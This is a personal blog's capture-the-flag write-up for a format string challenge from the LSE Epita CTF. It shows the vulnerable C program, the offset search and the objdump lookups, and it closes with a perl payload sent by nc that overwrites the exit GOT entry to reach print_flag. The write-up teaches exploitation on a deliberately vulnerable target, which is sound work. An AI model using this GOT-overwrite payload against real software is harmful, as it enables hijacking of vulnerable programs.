CTF,

LSE Epita format string

cropped-18997741986_d39e3eefdf_o.jpg

Time ago i can’t write on this blog. It’s normal when your time is full dedicated to work and study. Now, i have one hour to publish something related guess with ? Yes, ctf challenges :)

Since this is only 1 point level and i think is basic for everyone i’ve decided to publish the writeup. I have not mentioned LSE Epita CTF is a great french university event, i hope someone take the idea here in Spain.

We have a format string vulnerability, here is the code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void print_flag()
{
    char* flag = NULL;
    size_t n = 0;
    FILE *f = fopen("flag.txt", "r");

    getline(&flag, &n, f);
    printf("Well played, the flag is: %s\n", flag);
    fflush(stdout);
    free(flag);
    _exit(1);
}

void vuln()
{
    char buffer[512];

    fgets(buffer, sizeof(buffer), stdin);
    printf(buffer);
    exit(1);
}

int main(int argc, char **argv)
{
    vuln();
}

What we have here is another vuln() function with printf. We need to change the flow of the code and redirect to print_flag().

To achieve this, first, we need to know the buffer offset:

 for i in {1..200};do echo "searching ... offset: $i - `echo  AAAA%$i\\$08x | /media/sf_CTF_exploits/LSE-EPITA/format`"; done | grep AAAA41414141

searching ... offset: 4 - AAAA41414141

Just after printf on vuln() we have an exit call that we are going to use to overwrite GOT table with our print_flag().So, we need two main function address:

$ objdump -t format|grep print_flag
080485cb g     F .text	00000080              print_flag

$ objdump -TR format|grep exit
00000000      DF *UND*	00000000  GLIBC_2.0   _exit
00000000      DF *UND*	00000000  GLIBC_2.0   exit
0804a018 R_386_JUMP_SLOT   _exit
0804a028 R_386_JUMP_SLOT   exit

We overwrite the exit call address with our print_flag() one.
Because size, here we need to split 0x080485cb in two parts:

0x080485cb, target printflag() address.
0804 – 2052 (2052-8): two last bytes on print_flag
85cb – 34251 (34251-2052): two first bytes on print_flag

Putting all together:

$ perl -e 'print "\x2a\xa0\x04\x08"."\x28\xa0\x04\x08"."%2044d"."%4\$hn"."%32199d"."%5\$hn\n"'| nc -vvv lse.epita.fr 52129

Well played, the flag is: LSE{[REDACTED]}